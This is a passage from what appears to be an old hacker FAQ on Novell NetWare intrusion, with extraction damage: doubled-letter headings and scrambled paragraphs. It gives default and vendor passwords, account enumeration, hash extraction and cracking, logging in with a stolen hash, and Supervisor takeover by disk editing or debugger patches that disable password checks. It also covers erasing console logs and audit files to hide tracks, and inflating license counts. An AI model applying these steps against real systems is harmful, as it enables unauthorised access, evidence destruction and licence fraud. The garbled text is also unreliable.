Attacker kills the session with the Client, and the Client thinks an error has occurred, and tries again.

This attack has been partially implemented with the c2myazz file, which forces a plaintext login.

1#14#4.#.1#14#4.#. W#Wh#ha#at#t a#ab#bo#ou#ut#t T#TC#CP#P S#Se#eq#qu#ue#en#nc#ce#e N#Nu#um#mb#be#er#r P#Pr#re#ed#di#ic#ct#ti#io#on#n?#?

This is possible, but unlikely, on anything requiring the TID and UID as a part of the spoof. TCP Sequence Number Prediction involves guessing what the TCP numbering sequence is, and inserting packets to (typically) execute commands on the target host with the proper sequence number.

1#14#4.#.1#15#5.#. W#Wh#ha#at#t'#'s#s t#th#he#e s#st#to#or#ry#y w#wi#it#th#h b#bu#uf#ff#fe#er#r o#ov#ve#er#rf#fl#lo#ow#ws#s o#on#n N#NT#T?#?

Dildog has written the definative paper on the subject. Check out "The Tao of Windows Buffer Overflow" at http://www.cultdeadcow.com/cDc-351/ <http://www.cultdeadcow.com/cDc-351/> for a complete picture of buffer overflows, how they work, and how to code your own exploits for Microsoft operating systems.

1#15#5.#.

N#Ne#et#tw#wa#ar#re#e B#Ba#as#si#ic#cs#s

The following section covers the basics regarding Netware security.

1#15#5.#.1#1.#.

1#16#6.#.

N#Ne#et#tw#wa#ar#re#e A#Ac#cc#co#ou#un#nt#ts#s

The following section deals with Accounts on Netware systems.

1#16#6.#.1#1.#. W#Wh#ha#at#t a#ar#re#e c#co#om#mm#mo#on#n a#ac#cc#co#ou#un#nt#ts#s a#an#nd#d p#pa#as#ss#sw#wo#or#rd#ds#s f#fo#or#r N#Ne#et#tw#wa#ar#re#e?#?

Out of the box Novell Netware has the following default accounts SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as well. All of these have no password to start with. Virtually every installer quickly gives SUPERVISOR and ADMIN a password. However, many locations will create special purpose accounts that have easy-to-guess names, some with no passwords. Here are a few and their typical purposes:

Account ---------PRINT LASER HPLASER PRINTER LASERWRITER POST MAIL GATEWAY GATE ROUTER BACKUP equivalence

Purpose -----------------------------------------------------Attaching to a second server for printing Attaching to a second server for printing Attaching to a second server for printing Attaching to a second server for printing Attaching to a second server for printing Attaching to a second server for email Attaching to a second server for email Attaching a gateway machine to the server Attaching a gateway machine to the server Attaching an email router to the server May have password/station restrictions (see below), used for backing up the server to a tape unit attached to a workstation. For complete backups, Supervisor

is required.

See BACKUP Attaching a dedicated fax modem unit to the network Attaching a dedicated fax modem unit to the network Attaching a dedicated fax modem unit to the network A test user account for temp use Palidrome default account for backup An account for Arcserve to login to the server from from the console for tape backup. Version 5.01g's password was WONDERLAND. Delete the Station Restrictions and use SUPER.EXE to toggle this account and you have an excellent backdoor.

WINDOWS_PASSTHRU Although not required, per the Microsoft Win95 WANGTEK FAX FAXUSER FAXWORKS TEST ARCHIVIST CHEY_ARCHSVR

ROOT

Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you need this for resource sharing without a password.

Found on Shiva LanRovers, gets you the command-line equiv of the AdminGUI. By default, no password. A lot admins just use the AdminGUI and never set up a password.

VARs (Value Added Resellers) repackage Netware with their own hardware or with custom software. Here is a short list of known passwords: VAR Account Password Purpose ------- ---------- -------------------------------------------------STIN SUPERVISOR SYSTEM Travel agency running SABRE STIN SABRE -noneLike a guest account STIN WINSABRE WINSABRE Windows guest account for NW 2.15c STIN WINSABRE SABRE Windows guest account for NW 3.x HARRIS SUPERVISOR HARRIS Tricord reseller, ships NW preinstalled NETFRAME SUPERVISOR NF Also NETFRAME and NFI NETFRAME aaa New installation default password

This should give you an idea of accounts to try if you have access to a machine that attaches to the server. A way to "hide" yourself is to give GUEST or USER_TEMPLATE a password. Occassionally admins will check up on GUEST, but most forget about USER_TEMPLATE. In fact, _#I forgot about USER_TEMPLATE until itsme reminded me.

This list is also a good starting point for account names for "backdoors". In some environments these account names will be left alone, particularly in large companies, especially Netware 4.x sites with huge trees. And don't forget account names like Alt-255 or NOTLOGGED-IN. 1#16#6.#.2#2.#. H#Ho#ow#w c#ca#an#n I#I f#fi#ig#gu#ur#re#e o#ou#ut#t v#va#al#li#id#d a#ac#cc#co#ou#un#nt#t n#na#am#me#es#s o#on#n N#Ne#et#tw#wa#ar#re#e?#?

Any limited account should have enough access to allow you to run SYSCON, located in the SYS:PUBLIC directory. If you get in, type SYSCON and enter. Now go to User Information and you will see a list of all defined accounts. You will not get much info with a limited account, but you can get the account and the user's full name.

If your in with any valid account, you can run USERLST.EXE and get a list of all valid account names on the server.

If you don't have access (maybe the sys admin deleted the GUEST account, a fairly common practice), you can't just try any account name at the LOGIN prompt. It will ask you for a password whether the account name is valid or not, and if it is valid and you guees the wrong password, you could be letting the world know what you're up to

if Intruder Detection is on. But there is a way to determine if an account is valid.

From a DOS prompt use a local copy (on your handy floppy you carry everywhere) of MAP.EXE. After you've loaded the Netware TSRs up through NETX or VLM, Try to map a drive using the server name and volume SYS:. For example: MAP G:=TARGET_SERVER/SYS:APPS

Since you are not logged in, you will be prompted for a login ID. If it is a valid ID, you will be prompted for a password. If not, you will immediately receive an error. Of course, if there is no password for the ID you use you will be attached and mapped to the server. You can do the same thing with ATTACH.EXE: ATTACH TARGET_SERVER/loginidtotry

The same thing will happen as the MAP command. If valid, you will be prompted for a password. If not, you get an error.

Another program to check for valid users and the presence of a password is CHKNULL.EXE by itsme. This program checks for users and whether they have a password assigned.

In 4.1 CHKNULL shows you every account with no password and you do not have to be logged in. For this to work bindery emulation must be on.

But there is another way to get them in 4.1: Once you load up the VLMs you may be able to view the entire tree, or at least all of the tree you could see if logged in. Try this: CX /T /A /R

During the installation of 4.1, [Public] entire tree because [Public] is added to Inherited Rights Filter flows this stuff blocked. If you have the VLMs loaded and have to log in, and you can get the name the server.

has browse access to the [Root] as a Trustee. The down unless explicitly access to CX, you don't even of virtually every account on

If CX /T /A /R works, then NLIST USER /D of information, including who belongs to ID. By combining the information between NLIST options, you can learn a lot about Here a few more that come in handy:

will yield a massive amount what groups, and their object these two along with other an NDS tree and a server.

NLIST GROUPS /D -List of groups, descriptions, and members.

NLIST SERVER /D -List of servers, versions, if attached you can determine if accounting is installed.

NLIST /OT=* /DYN /D -List of all readable objects, including dynamic objects, names of NDS trees, etc.

Between using CHKNULL, CX, and NLIST an intruder could not only learn who is in what group and who has access to what, but certainly could learn who the administrators are, and specifically select accounts for attack.

Finally, consider using the Intruder utility from NMRC's Pandora v3.0.

This utility has a mode that allows you to give it a list of potential account names, and it will tell you if they are valid and even if they have no password. See http://www.nmrc.org/pandora/index.html <http://www.nmrc.org/pandora/index.html> for details.

1#17#7.#.

N#Ne#et#tw#wa#ar#re#e P#Pa#as#ss#sw#wo#or#rd#ds#s

This section deals with Netware passwords.

1#17#7.#.1#1.#. H#Ho#ow#w d#do#o I#I a#ac#cc#ce#es#ss#s t#th#he#e p#pa#as#ss#sw#wo#or#rd#d f#fi#il#le#e i#in#n N#Ne#et#tw#wa#ar#re#e?#?

Contrary to not-so-popular belief, access to the password file in Netware is not like Unix - the password file isn't in the open. All objects and their properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS database in 4.x. An example of an object might be a printer, a group, an individual's account etc. An example of an object's properties might include an account's password or full user name, or a group's member list or full name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden and System, and these files are located on the SYS: volume in the SYSTEM subdirectory. Their names are as follows: Netware version --------------2.x 3.x

File Names ---------NET$BIND.SYS, NET$BVAL.SYS NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS

The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located in 2.x and 3.x respectively.

In Netware 4.x, the files are located in a different location on the SYS: volume. It is a hidden directory called _NETWARE. In this directory are located the NDS files, license files, and a number of other system-related files such as login scripts and auditing files.

File -------------VALUE.NDS BLOCK.NDS ENTRY.NDS PARTITIO.NDS MLS.000 VALINCEN.DAT

What it is -------------------------Object and property values Extended property values Object and property types NDS partition info (replication info, etc.)

License file.

License validation

To view the hidden SYS:_NETWARE directory, you can try to use RCONSOLE and the Scan Directory option, although later versions of Netware 4.x have patched this (starting with 410pt3). Here is another way to view these files, and potentially edit them. After installing NW4 on a NW3 volume, reboot the server with a 3.x SERVER.EXE. On volume SYS will be the _NETWARE directory. SYS:_NETWARE is hidden better on 4.1 than 4.0x, but in pre-410pt3 patched 4.1 you can still see the files by scanning directory entry numbers using NCP calls (you need the APIs for this) using function 0x17 subfunction 0xF3.

Using JCMD.NLM, it is possible to access SYS:_NETWARE, and do many fun things, like copy NDS, etc. But what hackers have asked for is a way to access this directory WITHOUT uploading an NLM via RCONSOLE. You can try using NETBASIC.NLM (see the Netware Console Attacks section for details), and actually copy NDS files to a directory you can access (like SYS:PUBLIC).

1#17#7.#.2#2.#. W#Wh#ha#at#t'#'s#s t#th#he#e f#fu#ul#ll#l s#st#to#or#ry#y w#wi#it#th#h N#Ne#et#tw#wa#ar#re#e p#pa#as#ss#sw#wo#or#rd#ds#s?#?

A Novell proprietary algorithm takes the password, and produces a 16 byte hash. This algorithm is the same for versions 3.x and 4.x of Netware. The algorithm is also inside the LOGIN.EXE file used by the client when logging in. The details of the algorithm itself can be found in the CRYPT.TXT file included with Pandora (see http://www.nmrc.org/pandora/index.html <http://www.nmrc.org/pandora/index.html> for details).

The 16 byte hash is stored within the bindery files in Netware 3.x and NDS in Netware 4.x. Since the object ID is used in the algorithm, it adds the equivalent of a ``salt''. This along with the fact that the password length plays into the algorithm increases the overhead in cracking multiple passwords at once. Fortunately for the cracker, both the object ID and the password length are stored with the hash, along with that fact that lower case letters are converted to upper case before generating the hash does simplify the process slightly.

Password crackers can brute force a little easier since they can eliminate trying lower case letters and concentrate on a particular password length.

1#17#7.#.3#3.#. H#Ho#ow#w d#do#oe#es#s p#pa#as#ss#sw#wo#or#rd#d c#cr#ra#ac#ck#ki#in#ng#g w#wo#or#rk#k w#wi#it#th#h N#Ne#et#tw#wa#ar#re#e?#?

Because of the complexity of the algorithm, using it the way it was designed is somewhat slow for cracking, especially by brute force.

However the algorithm can be mathematically improved, and in fact WAS improved and optimized just for cracking purposes. See Jitsu-Disk's document CRYPT.TXT <http://www.nmrc.org/pandora/CRYPT.TXT> that was included with Pandora <http://www.nmrc.org/pandora/index.html> that details this. The algorithm is dozens of times faster than Novell's original code. However brute force is slow work with Netware, so only use it as a last resort, especially if you have a LOT of time.

This is especially true with regards to the brute force crackers that attack from the client. Since you are dealing with the network itself, expect AT BEST about a password attempt a second from most network cracking utilities.

1#17#7.#.4#4.#. H#Ho#ow#w d#do#oe#es#s p#pa#as#ss#sw#wo#or#rd#d c#cr#ra#ac#ck#ki#in#ng#g w#wo#or#rk#k w#wi#it#th#h N#Ne#et#tw#wa#ar#re#e?#?

With Pandora v3.0 you have the fastest dictionary cracking available.

And if you must attack from a client, make sure if you are using a cracker that you are using dictionary attacking.

For Netware 3.x systems, consider using Al Grant's Bindery tool.

1#17#7.#.5#5.#. C#Ca#an#n a#an#n S#Sy#ys#s A#Ad#dm#mi#in#n p#pr#re#ev#ve#en#nt#t/#/s#st#to#op#p N#Ne#et#tw#wa#ar#re#e p#pa#as#ss#sw#wo#or#rd#d h#ha#as#sh#h e#ex#xt#tr#ra#ac#ct#ti#io#on#n?#?

The best way for a Sys Admin to prevent Netware password hash extraction is to at least try the following: +#o

Protect the server console. If the console is compromised, all bets are off. Don't use RCONSOLE at all. Go to the console to do any administrator-type work.

+#o

Protect administrative accounts. If one of these accounts are compromised, once again all bets are off. Use these accounts minimally from secured workstations.

+#o

Clean up after yourself. If you run a BINDFIX, DSMAINT, or DSREPAIR, remember that you are leaving files out there that passwords can be recovered from. Do your business, confirm you don't have to fall back using one of these leftover files and then delete and purge them.

You see, once the server has been compromised, sometimes not even completely, there will be NOTHING to stop unwanted password recovery.

Hackers, just do the opposite of the above items and you'll be fine ;-) 1#17#7.#.6#6.#. C#Ca#an#n I#I r#re#es#se#et#t a#an#n N#ND#DS#S p#pa#as#ss#sw#wo#or#rd#d w#wi#it#th#h j#ju#us#st#t l#li#im#mi#it#te#ed#d r#ri#ig#gh#ht#ts#s?#?

There is a freeware utility called N4PASS, that is meant for Netware 4.10 (uses NDS calls and is not bindery based). The intention of this package is to enable a Help Desk to reset passwords for users without granting them tons of rights. It uses full logging and does not require massive ACL manipulation to do it.

Obviously being set up to use this utility opens a few doors. The filename is N4PA12.EXE, and can be retrieved from the author's web site at http://fastlane.net/homepages/dcollins and the author can be reached at dcollins@fastlane.net.

A couple of interesting things about this utility -- if configured incorrectly the server may be compromised in a number of ways. For instance, the password generated is a calculation that uses a 'temp filename', the date, the user's loginname, helpdesk login name, seed value, and a few other items. (its in the n4pass.txt file) N4PASS is not set to purge immediately, the file is salvagable. Also, if the rights to the N4PASS directory are too open, you can discover the default password, among other things. The text file included with the utility covers this, so read it carefully if you are installing it. If you are hacking, read it carefully too ;-) It is critical that access to the sys:\n4pass\password is secure since any 'temp file' (.1st extension) can cause the 'password reset' for the person listed in the 'temp file'.

1#17#7.#.7#7.#.

W#Wh#ha#at#t i#is#s O#OS#S2#2N#NT#T.#.N#NL#LM#M?#?

OS2NT.NLM is a Novell-supplied NLM for recovering/fixing Admin, like after it becomes an Unknown object, as opposed to User -- especially after a DSREPAIR. This module is considered a "last resort" NLM and you must contact Novell to use it. While I haven't seen it, it is supposed to be on one of Novell's FTP sites. It supposedly is customized by Novell to work with your serial number and is a one-time use NLM. You have to prove to Novell who you are and that your copy of Netware is registered.

I would suspected it is possible that this NLM could be hacked to get around the one-time use and serial number/password thing, but a restore of NDS from a good backup would accomplish things better. This way is a little destructive.

1#17#7.#.8#8.#. H#Ho#ow#w d#do#oe#es#s p#pa#as#ss#sw#wo#or#rd#d e#en#nc#cr#ry#yp#pt#ti#io#on#n w#wo#or#rk#k?#?

From itsme the password encryption works as follows: 1- the workstation requests a session key from the server (NCP-17-17) 2- the server sends a unique 8 byte key to the workstation 3- the workstation encrypts the password with the userid, - this 16 byte value is what is stored in the bindery on the server

4- the WS then encrypts this 16 byte value with the 8 byte session key resulting in 8 bytes, which it sends to the server (NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw) 5- the server performs the same encryption, and compares its own result with that sent by the WS -> the information contained in the net$*.old files which can be found in the system directory after bindfix was run, is enough to login to the server as any object. just skip step 3

1#17#7.#.9#9.#. C#Ca#an#n I#I l#lo#og#gi#in#n w#wi#it#th#ho#ou#ut#t a#a p#pa#as#ss#sw#wo#or#rd#d?#?

If you have acquired the one-way hash from Bindery or NDS files, you have enough info to login without password, as stated by Itsme in the previous section. Pandora v3.0 includes tools for accomplishing this -- see http://www.nmrc.org/pandora/index.html <http://www.nmrc.org/pandora/index.html> for details.

1#17#7.#.1#10#0.#. W#Wh#ha#at#t'#'s#s w#wi#it#th#h W#Wi#in#nd#do#ow#ws#s 9#95#5 a#an#nd#d N#Ne#et#tw#wa#ar#re#e p#pa#as#ss#sw#wo#or#rd#ds#s?#?

Windows 95 has its own password file, and uses this file to store passwords to Windows 95 itself as well as Netware and NT servers. The problem here is that the PWL file is easily cracked by brute force, by using exploit code readily available on the Internet. To keep this from happening either Service Pack 1 should be applied (see Microsoft) or disable password caching.

But you can still access the WIN386.SWP file. Either using a disk utility like DiskEdit from Norton or by booting from DOS, you can access the swap file and scan it for the password in plaintext. Look for a string like nwcs and the password will follow that.

1#18#8.#.

N#Ne#et#tw#wa#ar#re#e C#Co#on#ns#so#ol#le#e A#At#tt#ta#ac#ck#ks#s

This section deals with attacking at the Netware Console.

1#18#8.#.1#1.#. W#Wh#ha#at#t'#'s#s t#th#he#e "#"s#se#ec#cr#re#et#t"#" w#wa#ay#y t#to#o g#ge#et#t S#Su#up#pe#e a#ac#cc#ce#es#ss#s N#No#ov#ve#el#ll#l o#on#nc#ce#e t#ta#au#ug#gh#ht#t C#CN#NE#E'#'s#s?#?

Before I start this section, let me recommend another solution, my God, ANY other solution is better than this! If you are running 3.x, jump to the end of this section.

The secret method is the method of using a DOS-based sector editor to

edit the entry in the FAT, and reset the bindery to default upon server reboot. This gives you Supervisor and Guest with no passwords.

The method was taught in case you lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.

While you get a variety of answers from Novell about this technique, from it doesn't work to it is technically impossible, truth be it it can be done. Here are the steps, as quoted from comp.os.netware.security, with my comments in [brackets]: [start of quote] A Netware Server is supposed to be a very safe place to keep your files. Only people with the right password will have access to the data stored there. The Supervisor (or Admin) user's password is usually the most well kept secret in the company, since anyone that has that code could simply log to the server and do anything he/she wants.

But what happens if this password is lost and there's no user that is security-equivalent to the supervisor? [Use SETPWD.NLM, instead of this process, see section 02-5 - S.N.] What happens if the password system is somehow damaged and no one can log to the network? According to the manual, there's simply no way out. You would have to reinstall the server and try to find your most recent backup.

Fortunately, there is a very interesting way to gain complete access to a Netware server without knowing the Supervisor's (or Admin's) password. You may imagine that you would have to learn complex decryption techniques or even type in a long C program, but that's not the case. The trick is so simple and generic that it will work the same way for Netware 2.x, 3.x and 4.x.

The idea is to fool Netware to think that you have just installed the server and that no security system has been estabilished yet. Just after a Netware 2.x or 3.x server is installed, the Supervisor's password is null and you can log in with no restriction. Netware 4.x works slightly differently, but it also allows anyone to log in after the initial installation, since the installer is asked to enter a password for the Admin user.

But how can you make the server think it has just been installed without actually reinstalling the server and losing all data on the disk? Simple. You just delete the files that contain the security system. In Netware 2.x, all security information is stored in two files (NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that information in three files (NET$OBJ.SYS, NET$VAL.SYS and NET$PROP.SYS). The all new Netware 4.x system stores all login names and passwords in five different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS and UNINSTAL.NDS [This last file may not be there, don't worry - S.N.]).

One last question remains. How can we delete these files if we don't have access to the network, anyway? The answer is, again, simple.

Altough the people from Novell did a very good job encrypting passwords, they let all directory information easy to find and change if you can access the server's disk directly, using common utilities like Norton's Disk Edit. Using this utility as an example, I'll give a

step-by-step procedure to make these files vanish. All you need is a bootable DOS disk, Norton Utilities' Emergency Disk containing the DiskEdit program and some time near the server.

1. Boot the server and go to the DOS prompt. To do this, just let the network boot normally and then use the DOWN and EXIT commands. This procedure does not work on old Netware 2.x servers and in some installations where DOS has been removed from memory. In those cases, you'll have to use a DOS bootable disk.

2. Run Norton's DiskEdit utility from drive A: 3. Select "Tools" in the main menu and then select "Configuration". At the configuration window, uncheck the "Read-Only" checkbox. And be very careful with everything you type after this point.

4. Select "Object" and then "Drive". At the window, select the C: drive and make sure you check the button "physical drive". After that, you'll be looking at your physical disk and you be able to see (and change) everything on it.

5. Select "Tools" and then "Find". Here, you'll enter the name of the file you are trying to find. Use "NET$BIND" for Netware 2, "NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is possible that you find these strings in a place that is not the Netware directory. If the file names are not all near each other and proportionaly separated by some unreadable codes (at least 32 bytes between them), then you it's not the place we are looking for. In that case, you'll have to keep searching by selecting "Tools" and then "Find again". [In Netware 3.x, you can change all occurences of the bindery files and it should still work okay, I've done it before. S.N.] 6. You found the directory and you are ready to change it. Instead of deleting the files, you'll be renaming them. This will avoid problems with the directory structure (like lost FAT chains). Just type "OLD" over the existing "SYS" or "NDS" extension. Be extremely careful and don't change anything else.

7. Select "Tools" and then "Find again". Since Netware store the directory information in two different places, you have to find the other copy and change it the same way. This will again prevent directory structure problems.

8. Exit Norton Disk Edit and boot the server again. If you're running Netware 2 or 3, your server would be already accessible. Just go to any station and log in as user Supervisor. No password will be asked.

If you're running Netware 4, there is one last step.

9. Load Netware 4 install utility (just type LOAD INSTALL at the console prompt) and select the options to install the Directory Services. You be prompted for the Admin password while doing this.

After that, you may go to any station and log in as user Admin, using the password that you have selected.

What I did with Norton's Disk Edit could be done with any disk editing utility with a "Search" feature. This trick has helped me save many network supervisors in the last years. I would just like to remind you that no one should break into a netware server unless authorized to do

it by the company that owns the server. But you problably know that already. [end of quote] I actually had this typed up but kept changing it, so I stole this quote from the newsgroup to save me retyping ;-) Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the bindery and downs the server. Reboot and you have Supe and Guest, no password.

1#18#8.#.2#2.#. H#Ho#ow#w d#do#o I#I u#us#se#e S#SE#ET#TP#PW#WD#D.#.N#NL#LM#M?#?

You can load SETPWD at the console or via RCONSOLE. If you use RCONSOLE, use the Transfer Files To Server option and put the file in SYS:SYSTEM. For 3.x: LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword] For 4.x: set bindery context = [context, e.g. hack.corp.us] LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword] In 4.x the change is replicated so you have access to all the other servers in the tree. And don't forget, you must follow the password requirements for this to work -- if the account you are changing normally requires a 6 character password, then you'll need to supply a 6 character password.

1#18#8.#.3#3.#. I#I d#do#on#n'#'t#t h#ha#av#ve#e S#SE#ET#TP#PW#WD#D.#.N#NL#LM#M o#or#r a#a d#di#is#sk#k e#ed#di#it#to#or#r.#. H#Ho#ow#w c#ca#an#n I#I g#ge#et#t S#Su#up#pe#e a#ac#cc#ce#es#ss#s?#?

If you have two volumes or some unallocated disk space you can use this hack to get Supe. Of course you need physical access but it works. I got this from a post in comp.os.security.netware -

Dismount all volumes Rename SYS: to SYSOLD: Rename VOL1: (or what ever) to SYS: or create new SYS: on new disk Reboot server Mount SYS: and SYSOLD: Attach to server as Supervisor (Note: login not available) Rename SYSOLD:SYSTEM\NET$***.SYS to NET$****.OLD Dismount volumes Rename volume back to correct names Reboot server Login as Supervisor, no password due to new bindery Run BINDREST You are currently logged in as Supe, you can create a new user as Supe equiv and use this new user to reset Supe's password, whatever.

1#18#8.#.4#4.#. W#Wh#ha#at#t'#'s#s t#th#he#e "#"d#de#eb#bu#ug#g"#" w#wa#ay#y t#to#o d#di#is#sa#ab#bl#le#e p#pa#as#ss#sw#wo#or#rd#ds#s?#?

You must be at the console to do this:

/left-shift//right-shift//alt//esc/ Enters Debugger type "d VerifyPassword 6" Write down 6 byte response for later use type "c Verifypassword=B8 0 0 0 0 C3" Sets system to turn off pword checks type "g" To make the system change and drop you back into the console

to turn password checking back on... /left-shift//right-shift//alt//esc/ Enters Debugger type "c VerifyPassword= xx xx xx xx xx xx" Where xx's are the previous recorded numbers that where written down. type "g" To make system changes and drop you back to into the console

Teiwaz updated these steps to make things easier and workable. And one other note -- this will NOT disable password checking in 4.x.

Sorry....

1#18#8.#.5#5.#. H#Ho#ow#w d#do#o I#I d#de#ef#fe#ea#at#t c#co#on#ns#so#ol#le#e l#lo#og#gg#gi#in#ng#g?#?

Here you need console and Supervisor access. The site is running 3.11 or higher and running the CONLOG.NLM. Any site running this is trapping all console messages to a file. If you run SETPWD at the console, the response by SETPWD is written to a log file. Here's the steps for determining if it is running and what to do to defeat it: +#o

Type MODULES at the console. Look for the CONLOG.NLM. If it's there, it's running.

+#o

Look on the server in SYS:ETC for a file called CONSOLE.LOG. This is a plain text file that you can type out. However you cannot delete or edit it while CONLOG is running.

+#o

Unload CONLOG at the console.

+#o

Delete, or even better yet, edit the CONSOLE.LOG file, erasing your tracks.

+#o

Reload CONLOG. It will show that is has been restarted in the log.

+#o

Check the CONSOLE.LOG file to ensure the owner has not changed.

+#o

Run PURGE in the SYS:ETC directory to purge old versions of CONSOLE.LOG that your editor have left to be salvaged.

1#18#8.#.6#6.#. C#Ca#an#n I#I s#se#et#t t#th#he#e R#RC#CO#ON#NS#SO#OL#LE#E p#pa#as#ss#sw#wo#or#rd#d t#to#o w#wo#or#rk#k f#fo#or#r j#ju#us#st#t S#Su#up#pe#er#rv#vi#is#so#or#r?#?

Yes and no. In version 3.x, the Supe password always works.

A common mistake regarding 3.x RCONSOLE passwords is to use a switch to use only the Supervisor password. It works like this: LOAD REMOTE /P=

instead of LOAD REMOTE RCONPASSWORD

The admin believes /P= turns off everything except the Supe password for RCONSOLE. In fact the password is just set to /P= which will get you in! The second most common mistake is using -S, and the third is "".

Version 4.1 is a bit different. Here's how it works: +#o

At the console prompt, type LOAD REMOTE SECRET where SECRET is the Remote Console password.

+#o

Now type REMOTE ENCRYPT. You will be prompted for a password to encrypt.

+#o

This will give you the encrypted version of the password, and give you the option of writing LDREMOTE.NCF to the SYS:SYSTEM directory, containing all the entries for loading Remote Console support.

+#o

You can call LDREMOTE from your AUTOEXEC.NCF, or you can change the LOAD REMOTE line in the AUTOEXEC.NCF as follows:

LOAD REMOTE SECRET

becomes LOAD REMOTE -E 870B7E366363

Another note - to ensure that Supervisor's password will work with RCONSOLE (Netware 4.02 or higher), add the hidden -US switch:

LOAD REMOTE -E 870B7E366363 -US

Another undocumented switch is -NP which is No Password!

1#18#8.#.7#7.#. H#Ho#ow#w c#ca#an#n I#I g#ge#et#t a#ar#ro#ou#un#nd#d a#a l#lo#oc#ck#ke#ed#d M#MO#ON#NI#IT#TO#OR#R?#?

There is a simple and easy way to do this in 3.11 if you have a print server running on the file server. The following exploits a bug in 3.11: +#o

Use pconsole to down the print server. This causes the monitor screen to go to the print server screen and wait for you to press enter to exit the screen. At the same time it puts the monitor screen in the background.

+#o

Switch to the console screen and type UNLOAD MONITOR.

+#o

Check the AUTOEXEC.NCF for the PSERVER.NLM load line and manually reload the PSERVER.NLM.

For both Netware 3.x and 4.x, try the debug disable steps as outlined earlier. You can type any password in to unlock the console, besides disabling 3.x password protection altogether.

For Netware 4.x, try this from the console: Enter the debugger and type in "g VerifyPassword".

Then hit enter to break back to the debugger.

That should return you to the console.

Then type in "g [desp]" and hit enter.

Wait a few seconds and you're back in the debugger.

Type in "eax=0" and hit enter, and then type "g" and enter.

The console is now unlocked.

1#18#8.#.8#8.#. W#Wh#he#er#re#e a#ar#re#e t#th#he#e L#Lo#og#gi#in#n S#Sc#cr#ri#ip#pt#ts#s s#st#to#or#re#ed#d i#in#n N#Ne#et#tw#wa#ar#re#e 4#4.#.x#x a#an#nd#d c#ca#an#n I#I e#ed#di#it#t t#th#he#em#m?#?

The Login Scripts are stored in, you guessed it, SYS:_NETWARE. Unlike the binary files used in NDS, these files are completely editable by using EDIT.NLM. Doing an RCONSOLE directory scan in SYS:_NETWARE will turn up files with extensions like .000, these are probably Login Scripts. Pull up a few, they are plain text files. For example, you found 00021440.000:

LOAD EDIT SYS:_NETWARE\00021440.000

If it is a Login Script, you will see it in plain english and you can certainly edit and save it. This completely bypasses NDS security, and is the main weakness. You can use this to grant a user extra rights that can lead to a number of compromises, including full access to the file system of any server in the tree.

1#18#8.#.9#9.#. W#Wh#ha#at#t i#if#f I#I c#ca#an#n'#'t#t s#se#ee#e S#SY#YS#S:#:_#_N#NE#ET#TW#WA#AR#RE#E?#?

Starting with Novell's 410pt3 patch you can no longer see the _NETWARE from RCONSOLE. This is hardly surprising as the ability to look into this directory has become increasingly difficult with each release of patches.

With Netware 4.11 you can't see it at all with RCONSOLE. Although with patch level IWSP5 one is able to see SYS:_NETWARE from RCONSOLE's "Directory Scan" function.

1#18#8.#.1#10#0.#. S#So#o h#ho#ow#w d#do#o I#I a#ac#cc#ce#es#ss#s S#SY#YS#S:#:_#_N#NE#ET#TW#WA#AR#RE#E?#?

Using JCMD.NLM (see the Resources section), it is possible to access SYS:_NETWARE, and do many fun things, like copy NDS, etc. But what hackers have asked for is a way to access this directory WITHOUT uploading an NLM via RCONSOLE. So here it is.

Starting with the Green River beta software, Novell licensed NETBASIC.NLM (actually, everything in the SYS:NETBASIC directory) from HiTecSoft, Inc. HiTecSoft is really cool -- it allows some sophisticated apps to be developed with a Visual-Basic-type environment, including NLMs without using Watcom's compiler and linker.

When you load up NETBASIC.NLM, you type "shell" and you get a DOSstyled shell. It is actually still an NLM, but the "commands" include DOS-like commands like cd, dir, copy, etc. So the trick is to simply "cd _NETWARE" and bingo -- you're in. At this point you can do all kinds of fun things. Remember, you can still use JCMD.NLM, but the point is that this is kind of "built in". Fun things to do include - Make copies of any of the files, including the license(s), NDS, login scripts, auditing files, etc.

- Copy these files to SYS:LOGIN and you can copy them off the server WITHOUT logging in.

- Copy off the license file (MLS.000) and play around with a hex editor.

Copy up the modified file and name it MLS.001 and you've doubled your license count (bear in mind this is illegal).

- Modify login scripts for fun, profit, and gaining extra rights.

- Poke around with auditing files, even delete NET$AUDT.CAF and files with an extension of .$AF in case your auditor forgot their password.

Thanks to the members of SIC (Hardware, Cyberius, and Jungman) for discovering the NETBASIC hole, and pointing out all of the license info.

1#18#8.#.1#11#1.#. H#Ho#ow#w c#ca#an#n I#I b#bo#oo#ot#t m#my#y s#se#er#rv#ve#er#r w#wi#it#th#ho#ou#ut#t r#ru#un#nn#ni#in#ng#g S#ST#TA#AR#RT#TU#UP#P.#.N#NC#CF#F/#/A#AU#UT#TO#OE#EX#XE#EC#C.#.N#NC#CF#F?#?

For Netware 3.xx, use these command-line options: SERVER -NS to skip STARTUP.NCF, and SERVER -NA to skip AUTOEXEC.NCF NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF. Instead they hard-code all the information into NET$OS.EXE, so you will have to rebuild it to change anything.

1#18#8.#.1#12#2.#. W#Wh#ha#at#t e#el#ls#se#e c#ca#an#n b#be#e d#do#on#ne#e w#wi#it#th#h c#co#on#ns#so#ol#le#e a#ac#cc#ce#es#ss#s?#?

If a user in any context of a tree has Supervisor rights to a single server, anyone with console access to that server can gain Admin Admin rights. Remote servers in remote offices are likely candidates for this. Here's how to do this: +#o

Attacker sets Bindery Context to match the user ID with Supervisor rights to the server.

+#o

Attacker sets a Bindery Context to match another user with greater priviledges, such as Admin.

+#o

Attacker resets password of the user ID with Supe rights to the server(unless the Attacker happens to BE the user with the Supe rights, say if the attacker is a temp contractor managing tape backups).

+#o

Attacker forces a bindery login to the server.

+#o

